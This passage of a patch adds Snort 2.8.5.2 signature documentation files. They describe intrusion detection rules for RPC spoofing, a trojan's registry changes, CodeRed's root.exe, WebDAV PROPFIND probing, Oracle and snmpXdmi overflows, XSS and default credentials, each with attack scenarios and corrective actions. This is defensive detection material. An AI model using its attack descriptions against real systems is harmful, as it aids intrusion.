+It is also possible for the attacker to gain super user access depending
+on the RPC service he is able to register. This could then lead to a
+compromise of all resources on the network the victim is attached to.
+
+--
+Affected Systems:
+All machines running vulnerable RPC services.
+
+--
+Attack Scenarios:
+The attacker could potentially spoof UDP packets for pmap_set to 
+register an RPC service. The attacker might also spoof UDP packets to 
+un-register needed services via pmap_unset.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+BugTraq:
+http://www.securityfocus.com/bid/1892
+
+--
--- snort-2.8.5.2.orig/doc/signatures/354.txt
+++ snort-2.8.5.2/doc/signatures/354.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+
+Rule:
+--
+Sid:
+354
+
+--
+
+Summary:
+This event is generated when an attempt is made to login anonymously 
+into an ftp server using a suspicious password (-iss@iss)
+
+--
+
+Impact:
+Possible unauthorized access. Information gathering.
+
+--
+
+Detailed Information:
+ISS Scanner is a security scanner which checks for common 
+vulnerabilities. When it detects an open ftp server, it tries to log in 
+anonymously using the password '-iss@iss'
+
+--
+
+Affected Systems:
+Machines running anonymous ftp servers.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs using the ISS Scanner, checking for 
+known vulnerabilities. If the scanner encounters a ftp server, it tries 
+to log in .
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+A user may be using that same password for a legitimate 
+anonymous login.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable anonymous FTP access.
+
+--
+
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS331
+
+--
--- snort-2.8.5.2.orig/doc/signatures/382.txt
+++ snort-2.8.5.2/doc/signatures/382.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+382
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows 9x or 2000 host. 
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows 9x or 2000 host contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS169
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1348.txt
+++ snort-2.8.5.2/doc/signatures/1348.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted g++ command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The g++
+command is theGNU project's C and C++ compiler used to compile C and
+C++ sourcefiles into executable binary files. The attacker could
+possibly compilea program needed for other attacks on the system or
+install abinary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'g++'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin. This command may also
+be requested on acommand line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note: thesecurelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115-5.txt
+++ snort-2.8.5.2/doc/signatures/115-5.txt
@@ -0,0 +1,71 @@
+
+
+Rule:
+
+--
+Sid:
+115-5
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
+traffic that may constitute an attack. Specifically an asn.1 datum
+length greater than the packet length was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+This indicates that the data length is greater than the packet length
+and may indicate an attempt to cause a buffer overflow or it may be an
+attempt to evade detection by an IDS that may not correctly process
+asn1 data.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1980.txt
+++ snort-2.8.5.2/doc/signatures/1980.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1980
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1267.txt
+++ snort-2.8.5.2/doc/signatures/1267.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1267
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nisd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nisd is using.  Attackers can also learn what versions of the nisd protocol are accepted by nisd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nisd run.  The nisd RPC service implements Network Information Systems (NIS and NIS+).  NIS and NIS+ provide centralized management and distribution of information about resources, such as users and hosts, in a network domain.  A buffer overflow exists because of improper bounds checking, which can lead to execution of arbitrary commands on the host. 
+
+--
+Affected Systems:
+Solaris 2.3 - 2.6 hosts running NIS+.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nisd runs.  This may be a precursor to accessing nisd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nisd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nisd, not probes of the nisd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nisd service itself. An attacker may attempt to go directly to the nisd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/677
+
+CERT
+http://www.cert.org/advisories/CA-98.06.nisd.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS21
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1256.txt
+++ snort-2.8.5.2/doc/signatures/1256.txt
@@ -0,0 +1,76 @@
+Rule:  
+
+--
+Sid:
+1256
+
+--
+Summary:
+This event is generated when an attempt is made access the root.exe
+executable on a webserver. 
+
+--
+Impact:
+This activity is indicative of a CodeRed worm infection.
+
+--
+Detailed Information:
+As part of the CodeRed infection process, cmd.exe (the windows command
+interpreter) gets copied to a number of locations throughout the
+filesystem and named root.exe.  Following a modification to the registry,
+root.exe becomes available from the web, allowing remote machines to
+execute arbitrary commands.
+
+Only affects Windows machines with a listening webserver, primarily IIS.
+If root.exe does not exist, there is no impact aside from minor iritation.
+If root.exe _does_ exist, full system-level access at the priveledge level
+of the user running the webserver is possible.
+
+--
+Affected Systems:
+	Microsoft IIS web servers.
+ 
+--
+Attack Scenarios:
+Normally, access to root.exe is detected as part of an attempted infection
+by another machine already infected by CodeRed.  In other situations,
+root.exe may be accessed by remote machines/users in an attempt to gain
+access to a system.
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+If root.exe exists in the filesystem of the web server, remove the
+machine from the network and follow the vendor's recommend method for
+cleaning and repairing the damage done by this particular worm.
+
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2001-19.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1615.txt
+++ snort-2.8.5.2/doc/signatures/1615.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1615
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2181.txt
+++ snort-2.8.5.2/doc/signatures/2181.txt
@@ -0,0 +1,76 @@
+Rule:  
+
+--
+Sid:
+
+2181
+
+--
+Summary:
+This event is generated when a BitTorrent client transfers data with 
+another BitTorrent peer.
+
+--
+Impact:
+
+Possible violation of policy and abuse of network resources.
+
+--
+Detailed Information:
+BitTorrent is a peer-to-peer application used for simultaneous downloads
+of large files.  BitTorrent is designed to allow multiple peers to 
+download large files simultaneously without using extraneous bandwidth 
+from a centralized server.
+
+BitTorrent peers connect to other peers for file transfer.  This rule 
+looks for the BitTorrent protocol header on the default BitTorrent 
+ports.
+
+--
+Attack Scenarios:
+A user downloaded a BitTorrent client and attempts to download files 
+from a BitTorrent network.
+
+--
+Ease of Attack:
+
+Unix, Windows, and MacOS clients are publicly available for BitTorrent.
+
+--
+False Positives:
+
+None Known.
+
+--
+False Negatives:
+
+The protocol name is hard coded in BitTorrent to "BitTorrent Protocol".
+If the protocol name was changed in the clients and tracker, then this
+rule would not generate an event.
+
+The minimum and maximum ports for BitTorrent clients to listen on are 
+hard coded in the clients.  If the minimum and maximum ports were 
+changed in the clients, then this rule would not generate an event.
+
+--
+Corrective Action:
+
+If this is a violation of network policy, take appropriate steps to 
+prevent further violations.
+
+--
+Contributors:
+
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+
+-- 
+Additional References:
+
+Bittorrent Protocol Specification
+http://bitconjurer.org/BitTorrent/protocol.html
+
+Wikipedia
+http://en.wikipedia.org/wiki/BitTorrent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1057.txt
+++ snort-2.8.5.2/doc/signatures/1057.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1057
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1079.txt
+++ snort-2.8.5.2/doc/signatures/1079.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+Sid:
+1079
+
+--
+
+Summary:
+This event is generated when an attempt is made to use the
+PROPFIND WebDAV request method on a web server.
+
+--
+Impact:
+Information gathering. An attacker can get a directory listing for all 
+directories configured to support WebDAV in an Apache web server. This
+could by a prelude to a more serious attack.
+
+--
+Detailed Information:
+WebDAV is a web publishing protocol implemented by several web servers,
+including Apache.  Certain configurations of Apache, such as those in
+SuSE 6.0-7.0 and RedHat 6.2-7.0, have WebDAV enabled and misconfigured
+in such a way to allow directory listings of the entire server file
+structure -- specificially, WebDAV was enabled on the Document Root of
+the web server.  Since subdirectories of a WebDAV-enabled directory
+are automatically enabled as well, this caused the entire web server
+to have WebDAV enabled.
+
+Since a directory, or its parent directory, must have been 
+specifically declared for WebDAV to be enabled, configuration errors
+should be straightforward to find and correct.
+
+--
+Affected Systems:
+	Apache Web Server with WebDAV enabled and misconfigured.
+ 
+--
+Attack Scenarios:
+Attacker gets a listing by sending something like:
+PROPFIND / HTTP/1.1
+
+--
+Ease of Attack:
+Simple. Requires that the attacker hand-craft an HTTP request.
+
+--
+False Positives:
+Legitimate web publishers may use PROPFIND commands, this should not be
+allowed from resources external to the protected network.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to determine whether this was likely an attack or not.
+Try to determine whether this was from a legitimate web publisher or not.
+Try to determine whether the target web server was Apache with WebDAV
+enabled and misconfigured.
+
+Disallow this method of publishing from resources external to the
+protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2731.txt
+++ snort-2.8.5.2/doc/signatures/2731.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2731
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_unique_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1116.txt
+++ snort-2.8.5.2/doc/signatures/1116.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1116
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2130.txt
+++ snort-2.8.5.2/doc/signatures/2130.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2130
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a host running Microsoft Internet Information Server (IIS) using the IISProtect web administration interface. 
+
+--
+Impact:
+Administrator access and arbitrary command execution.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a weakness in a host running the IISProtect web administration interface. A vulnerability exists that can allow an attacker to inject SQL code of his choice into the application.
+
+The attacker may be trying to gain administrator access to the host, garner information on users of the system, retrieve sensitive information or be attempting to execute arbitrary code.
+
+--
+Affected Systems:
+Any host using IIS with the IISProtect web administration interface.
+
+--
+Attack Scenarios:
+An attacker may inject SQL code of his choice. The attacker might then gain administrator access to the host or database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7675
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2794.txt
+++ snort-2.8.5.2/doc/signatures/2794.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2794
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_mview_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000825.txt
+++ snort-2.8.5.2/doc/signatures/100000825.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000825
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Phorum" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "mode" parameter in the "posting.php" script used by the "Phorum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Phorum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/649.txt
+++ snort-2.8.5.2/doc/signatures/649.txt
@@ -0,0 +1,78 @@
+Rule:  
+--
+Sid:
+649
+--
+Summary:
+Shellcode to set the group identity to 0 (root) was detected.
+
+--
+Impact:
+If this code is executed successfully, it is possible for the current
+process to inherity root group privledges.  
+
+
+--
+Detailed Information:
+Snort detected data resembling the x86 assembly code to change the
+group identity to 0.  
+
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of an attack on a remote service, an attacker may attempt to
+take advantage of insecure coding practices and execute code of his or
+her choosing through techniques known as 'buffer-overflows',
+'format-strings' and others.  Such attacks may contain code to change
+the identity of the current group to that of the root group (setgid
+0).  
+
+--
+Ease of Attack:
+Non-trivial.  Shellcode (and just x86 assembly code in general)
+requires a fairly intimate knowledge of computer architecture, memory
+structures, and many concepts that are part of the more arcane areas
+of computing.  Furthermore, if this was in fact an attack, the
+attacker needs to have a good idea of the design of the both the
+program and the system that he or she is attacking. The x86 setgid
+call itself is not particularly difficult, and by itself is not
+harmful.  However, combined with other carefuly aimed shellcode, it
+can be quite lethal.
+
+--
+False Positives:
+Fairly high.  Large binary transfers, certain web traffic, and even
+mail traffic can trigger this rule, but are not necessarily indicative
+of actual setgid code.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine what stream of traffic generated this particular alert.  If
+you only have the alert but not the entire packet, examine system for
+pecularities.  If you are smart and have the entire packet (or better
+yet, all your traffic for the past n hours), attempt to determine if
+this particular sequence of characters was part of an innocent stream
+of data (large binary transfers, for example) or part of a malicious
+act against your machine.  In either case, check for other activity
+from the host in question -- both currently collected traffic and
+traffic in the future.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/569.txt
+++ snort-2.8.5.2/doc/signatures/569.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+569
+
+--
+Summary:
+The snmpXdmi daemon is used on Sun Solaris systems to map Simple Network
+Management Protocol (SNMP) management requests to and from the Desktop 
+Management Interface (DMI).
+
+This daemon contains a boundary condition error that could result in a 
+buffer overflow that will present the attacker with super user access to
+the target host.
+
+--
+Impact:
+Complete control of the target machine.
+
+--
+Detailed Information:
+The snmpXdmi daemon is installed and enabled by default on the affected 
+systems below.
+
+DMI is used to manage components on client machines across a network. It
+can be used in conjunction with SNMP via a daemon such as snmpXdmi.
+
+A number of exploits for this vulnerability exist and are in use. The result of a sucessful attack is a complete root compromise of the victim host.
+
+Compromised systems are reported to display a number of commonalities such as:
+
+	A core file for snmpXdmi on /
+	Two instances of inetd running
+	Telnet and SSH backdoors running on high ports
+	An instance of an IRC proxy
+	System binaries replaced by rootkit versions
+	Network sniffers installed
+	Log files changed
+
+The system binaries 'ps' and 'netstat' cannot be trusted to show all 
+running processes since they may have been replaced by rootkit versions 
+specially modified so as to hide evidence of the compromise.
+
+--
+Affected Systems:
+Sun Solaris 2.6, 7.0, 8.0 for SPARC and Intel architectures
+
+--
+Attack Scenarios:
+The attacker must send specially crafted packets to the snmpXdmi daemon 
+or use one of the widely available exploits.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the snmpXdmi service.
+
+Apply the appropriate patches for each affected system.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2417
+
+CERT:
+http://www.cert.org/advisories/CA-2001-05.html
+http://www.kb.cert.org/vuls/id/648304
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2447.txt
+++ snort-2.8.5.2/doc/signatures/2447.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2447
+
+--
+Summary:
+This event is generated when an attempt is made to access the servlet
+administration scripts on a Novell Groupwise servlet server.
+
+--
+Impact:
+Possible unauthorized administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the servlet
+administration scripts on a Novell Groupwise servlet server located in /servlet/ServletManager.
+
+The default installation has a known username and password for
+administration of the server.
+
+--
+Affected Systems:
+	Novell Groupwise 6.0
+	Novell Groupwise Enhancement Pack 5.5
+
+--
+Attack Scenarios:
+The attacker might login to the application using the default username
+and password gaining administrative access to the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
